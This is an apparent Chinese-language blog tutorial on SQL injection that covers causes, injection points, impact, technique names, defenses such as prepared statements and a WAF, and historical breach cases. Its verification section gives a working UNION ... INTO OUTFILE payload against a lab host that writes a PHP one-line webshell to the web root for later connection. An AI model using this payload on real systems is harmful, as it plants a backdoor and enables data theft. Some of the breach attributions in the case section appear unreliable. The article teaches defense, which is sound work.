SQL 注入漏洞详解

SQL 注入漏洞详解

漏洞描述

sql注入漏洞是指恶意用户在应用与数据库交互的地方利用非法的操作获取数据库内容从以下两点分析:

  • 没有对用户输入的数据进行充分的过滤和验证,导致一些用户利用此漏洞向数据库插入恶意sql语句非法请求数据库从而获得一些敏感数据
  • 在与数据库交时未对用户可控参数进行足够的过滤,便将参数内容拼接到SOL 语句中,修改原有的sql语句逻辑,从而对数据库进行非法操作。

漏洞原理

通常在与数据库交互的地方,开发人员在处理和数据库交互时,未设置充足的过滤与验证或没对用户输入的参数进行控制时,非法用户利用漏洞,打破原有的sql语句,篡改原有语句的逻辑,从而使得数据库执行被篡改的sql语句,请求非正常授权内容。严重导致数据库数据泄露,数据篡改等

漏洞场景

sql注入漏洞一般存在于与数据交互的地方,例如:

  • url参数传递
  • 表单提交
  • 搜索框
  • http头文件
    • cookie
    • User-Agent
    • Referer

漏洞评级

漏洞等级:高危

漏洞危害

SQL注入漏洞可能会导致严重的安全问题,其中包括

  • 数据库数据泄露
  • 数据库篡改
  • 拒绝服务
  • 数据库信息丢失
  • 如果数据库权限分配不当或本身就存在缺陷,那么攻击者就会通过该漏洞直接获取webshell或服务器权限

漏洞验证

联合查询时使用into outfile函数进行文件上传

回显位写入一句话木马 最后加上函数和要上传的绝对路径

sql 复制代码
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+

文件上传成功使用密码777进行连接测试phpinfo

打开蚁剑进行连接

漏洞利用

  1. 五大注入手法
  • 联合查询注入
  • 报错注入
  • 布尔盲注
  • 延时注入
  1. 其他注入
  • 宽字节注入
  • HTTP头部注入
    • cookie注入
    • User-Agent注入
    • Base64注入
    • Referer注入
  • OOB 注入

防御方案

  • 避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;

  • 对进入 SQL 语句的参数进行足够过滤。

  • 部署安全设备,如 WAF。定制武器库

典型案例

2008年,Heartland Payment Systems公司遭受了一次SQL注入攻击,导致超过1300万张信用卡信息被窃取。攻击者利用了Heartland Payment Systems公司的网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了信用卡信息。

2015年,美国联邦政府办公室人事管理局遭受了一次SQL注入攻击,导致超过2100万名联邦雇员的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了个人信息。

2016年,菲律宾选举委员会遭受了一次SQL注入攻击,导致超过550万名选民的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了选民的个人信息。

这些案例表明,SQL注入漏洞是一种非常严重的安全威胁,可以导致大量敏感数据被窃取。因此,开发人员和网站管理员需要认真对待SQL注入漏洞,采取必要的措施来防范和修复这种漏洞。

相关推荐
远歌已逝1 小时前
维护在线重做日志(二)
数据库·oracle
qq_433099402 小时前
Ubuntu20.04从零安装IsaacSim/IsaacLab
数据库
Dlwyz2 小时前
redis-击穿、穿透、雪崩
数据库·redis·缓存
工业甲酰苯胺4 小时前
Redis性能优化的18招
数据库·redis·性能优化
没书读了5 小时前
ssm框架-spring-spring声明式事务
java·数据库·spring
i道i6 小时前
MySQL win安装 和 pymysql使用示例
数据库·mysql
小怪兽ysl6 小时前
【PostgreSQL使用pg_filedump工具解析数据文件以恢复数据】
数据库·postgresql
wqq_9922502776 小时前
springboot基于微信小程序的食堂预约点餐系统
数据库·微信小程序·小程序
爱上口袋的天空6 小时前
09 - Clickhouse的SQL操作
数据库·sql·clickhouse
黑客Ash6 小时前
【D01】网络安全概论
网络·安全·web安全·php